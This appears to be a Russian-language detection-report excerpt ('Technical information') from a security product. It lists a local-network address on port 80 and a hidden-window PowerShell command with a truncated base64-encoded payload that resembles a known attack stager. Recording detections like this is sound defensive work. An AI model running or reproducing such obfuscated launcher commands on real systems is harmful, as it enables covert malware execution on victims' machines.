Техническая информация
- '<LOCALNET>.0.70':80
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAFIAcwBJAG8AbgBUAEEAYgBMAEUALgBQAFMAVgBFAHIAcwBJAE8AbgAuAE0AQQBqAE8AcgAgAC0AZwBlACAAMwApAHsAJABHAFAARgA9AFsAUgBlAGYAXQAuAEEAUwBTAGUAbQBiAEwAWQAuAEcARQBU...' (со скрытым окном)